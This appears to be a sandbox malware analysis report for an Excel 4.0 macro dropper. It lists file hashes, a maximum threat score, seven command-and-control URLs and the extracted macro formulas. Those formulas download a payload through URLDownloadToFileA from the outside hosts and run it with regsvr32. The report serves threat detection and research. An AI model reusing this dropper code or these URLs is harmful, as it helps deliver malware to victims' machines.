General

  • Target

    8befd22bffa7da5e343d8429fe14632201a39f03d319bfcab87ba7bbb347343b

  • Size

    38KB

  • Sample

    241120-rwrj5aydrk

  • MD5

    f8dff00ed342355fd721ebc98b6cd472

  • SHA1

    e183fb15cab8737753ba958724438ff043307036

  • SHA256

    8befd22bffa7da5e343d8429fe14632201a39f03d319bfcab87ba7bbb347343b

  • SHA512

    0a412328cf6161e79b0e28672f84fc8f4c9285a7a62f7a9a90114da6b7b17c43f0059bd65e418721b6b8f36c9aad6a8cc97afc24da8d74e3c5b1737ee11850dc

  • SSDEEP

    768:2dUCR8xZ5jOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIy5:e5wXOZZ1ZYpoQ/pMAeVIyMId

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/

https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/

https://blog.centerking.top/wp-includes/WEIuPafz0bS/

https://edu-media.cn/wp-admin/TOu/

https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/

https://lydt.cc/wp-includes/jprpcO8U/

https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.centerking.top/wp-includes/WEIuPafz0bS/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://edu-media.cn/wp-admin/TOu/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lydt.cc/wp-includes/jprpcO8U/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/

xlm40.dropper

https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/

xlm40.dropper

https://blog.centerking.top/wp-includes/WEIuPafz0bS/

xlm40.dropper

https://edu-media.cn/wp-admin/TOu/

xlm40.dropper

https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/

Targets

    • Target

      8befd22bffa7da5e343d8429fe14632201a39f03d319bfcab87ba7bbb347343b

    • Size

      38KB

    • MD5

      f8dff00ed342355fd721ebc98b6cd472

    • SHA1

      e183fb15cab8737753ba958724438ff043307036

    • SHA256

      8befd22bffa7da5e343d8429fe14632201a39f03d319bfcab87ba7bbb347343b

    • SHA512

      0a412328cf6161e79b0e28672f84fc8f4c9285a7a62f7a9a90114da6b7b17c43f0059bd65e418721b6b8f36c9aad6a8cc97afc24da8d74e3c5b1737ee11850dc

    • SSDEEP

      768:2dUCR8xZ5jOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIy5:e5wXOZZ1ZYpoQ/pMAeVIyMId

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks